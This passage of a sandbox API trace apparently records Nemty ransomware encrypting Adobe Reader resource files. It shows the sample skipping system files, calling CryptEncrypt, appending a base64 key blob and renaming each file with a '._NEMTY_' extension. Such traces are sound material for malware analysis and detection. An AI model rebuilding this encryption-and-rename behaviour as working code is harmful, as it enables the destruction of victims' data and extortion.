lpWideCharStr="DisplayLanguageNames.es__TRADITIONAL.txt", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es__TRADITIONAL.txt", lpUsedDefaultChar=0x0) returned 40 [0215.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400b0 | out: hHeap=0x4f90000) returned 1 [0215.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x6340048 [0215.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es__TRADITIONAL.txt", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0215.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es__TRADITIONAL.txt", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es__TRADITIONAL.txt", lpUsedDefaultChar=0x0) returned 40 [0215.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x6340048 [0215.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es__TRADITIONAL.txt", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0215.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0215.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es__TRADITIONAL.txt", cchWideChar=40, lpMultiByteStr=0x6345640, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es__TRADITIONAL.txt", lpUsedDefaultChar=0x0) returned 40 [0215.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340218 [0215.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340048 [0215.614] Sleep (dwMilliseconds=0x5) [0215.621] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34286090, dwHighDateTime=0x1d561e8)) [0215.621] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34286090, dwHighDateTime=0x1d561e8)) [0215.621] GetLastError () returned 0x0 [0215.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.621] GetLastError () returned 0x0 [0215.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.621] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.621] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.621] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0215.621] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="OF/31LJg65SL4ln95ekJfU1P1V1CWDERw6flzSP+PALj9UBAo6jTp3eDuijwbNiD\r\niToHRonnWocMhM7NB+dH0Y79nbNL+cNInpbvlxGsb1TtZmwELuxUN7ZSo25AGZCW\r\ngijeILCRuqPt1n6qJshlLj5cz+acKuZCyaE5rbIVo+dfRfhgsQg6/7PmX9PC+EW6\r\nkY7PQx7ylEkiO/6EH3u5+hSubPhSvM02cOnHwDhe3lL0LPDWTZvZdJcMcdWYRwis\r\ngQkzzJSjE6luGkgrmrSmkmxw6YRzJ9PHGFFK4BhqdbkjK4YWnaA5AujOLMRJXq2M\r\nIqNksHWaZET85J/4b5ECYQ==\r\n", pcchString=0x653e5dc) returned 1 [0215.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0215.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.622] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es__TRADITIONAL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es__traditional.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.622] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28358) returned 1 [0215.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.622] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.622] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.625] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.625] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.626] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28358, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec6 [0215.626] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.626] CloseHandle (hObject=0x2e8) returned 1 [0215.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340310 [0215.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340408 [0215.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63491c8 [0215.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340408 | out: hHeap=0x4f90000) returned 1 [0215.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.626] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es__TRADITIONAL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es__traditional.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es__TRADITIONAL.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es__traditional.txt._nemty_kgobjgd_")) returned 1 [0215.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63491c8 | out: hHeap=0x4f90000) returned 1 [0215.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340310 | out: hHeap=0x4f90000) returned 1 [0215.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0215.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.627] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f367960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6b5e, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.et.txt", cAlternateFileName="DIED82~1.TXT")) returned 1 [0215.627] lstrcmpiW (lpString1="DisplayLanguageNames.et.txt", lpString2=".") returned 1 [0215.627] lstrcmpiW (lpString1="DisplayLanguageNames.et.txt", lpString2="..") returned 1 [0215.627] lstrcmpiW (lpString1="DisplayLanguageNames.et.txt", lpString2="...") returned 1 [0215.627] lstrcmpiW (lpString1="DisplayLanguageNames.et.txt", lpString2="windows") returned -1 [0215.627] lstrcmpiW (lpString1="DisplayLanguageNames.et.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.627] lstrcmpiW (lpString1="DisplayLanguageNames.et.txt", lpString2="rsa") returned -1 [0215.627] lstrcmpiW (lpString1="DisplayLanguageNames.et.txt", lpString2="NTDETECT.COM") returned -1 [0215.627] lstrcmpiW (lpString1="DisplayLanguageNames.et.txt", lpString2="ntldr") returned -1 [0215.627] lstrcmpiW (lpString1="DisplayLanguageNames.et.txt", lpString2="MSDOS.SYS") returned -1 [0215.627] lstrcmpiW (lpString1="DisplayLanguageNames.et.txt", lpString2="IO.SYS") returned -1 [0215.627] lstrcmpiW (lpString1="DisplayLanguageNames.et.txt", lpString2="boot.ini") returned 1 [0215.628] lstrcmpiW (lpString1="DisplayLanguageNames.et.txt", lpString2="boot.ini") returned 1 [0215.628] lstrcmpiW (lpString1="DisplayLanguageNames.et.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.628] lstrcmpiW (lpString1="DisplayLanguageNames.et.txt", lpString2="ntuser.dat") returned -1 [0215.628] lstrcmpiW (lpString1="DisplayLanguageNames.et.txt", lpString2="desktop.ini") returned 1 [0215.628] lstrcmpiW (lpString1="DisplayLanguageNames.et.txt", lpString2="CONFIG.SYS") returned 1 [0215.628] lstrcmpiW (lpString1="DisplayLanguageNames.et.txt", lpString2="RECYCLER") returned -1 [0215.628] lstrcmpiW (lpString1="DisplayLanguageNames.et.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.628] lstrcmpiW (lpString1="DisplayLanguageNames.et.txt", lpString2="bootmgr") returned 1 [0215.628] lstrcmpiW (lpString1="DisplayLanguageNames.et.txt", lpString2="programdata") returned -1 [0215.628] lstrcmpiW (lpString1="DisplayLanguageNames.et.txt", lpString2="appdata") returned 1 [0215.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.et.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.et.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.et.txt", lpUsedDefaultChar=0x0) returned 27 [0215.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.et.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.et.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.et.txt", lpUsedDefaultChar=0x0) returned 27 [0215.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.et.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.et.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.et.txt", lpUsedDefaultChar=0x0) returned 27 [0215.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.et.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.et.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.et.txt", lpUsedDefaultChar=0x0) returned 27 [0215.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.628] Sleep (dwMilliseconds=0x5) [0215.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x342ac1f0, dwHighDateTime=0x1d561e8)) [0215.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x342ac1f0, dwHighDateTime=0x1d561e8)) [0215.637] GetLastError () returned 0x0 [0215.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.637] GetLastError () returned 0x0 [0215.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.637] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.637] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.637] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0215.637] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="1y9aPDduzjKb4DS/d3lW5BMya0X1E/YQ7eEbTiGYrsvrrJnXv8idiMVk0VRvmyMb\r\nbShxqbXYY7fzCs4WG+PpVI9UirJu4vYn0o3cygGx3mnGMVaUsq8501REwgZq2vZc\r\n2g2uYap9UlI6CAjE4sfKYCFWfXIt54emiVXEz3MTGeFSuhdfZjqqMKBTjKTDxva2\r\np8ElYz41V7US9AuV6lHHDaqJAaag7DmFuHiqpO/5gU9TiwTIUUrSg8BWXTEGNABZ\r\nRZsI3RZAUJf3hEoas0DMlTYy6s2jXDhjj6FgjeZEmuILyxbRH5JEXiM1zlQoWwz/\r\ntv0vIUKuI5uF12Q5svMyCA==\r\n", pcchString=0x653e5dc) returned 1 [0215.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0215.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.638] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.638] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27486) returned 1 [0215.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6b50) returned 0x6352c48 [0215.638] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.638] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6b50, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6b50, lpOverlapped=0x0) returned 1 [0215.643] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.643] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6b50, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6b50, lpOverlapped=0x0) returned 1 [0215.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.644] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27486, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b5e [0215.644] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.644] CloseHandle (hObject=0x2e8) returned 1 [0215.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.644] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et.txt._nemty_kgobjgd_")) returned 1 [0215.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.645] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: 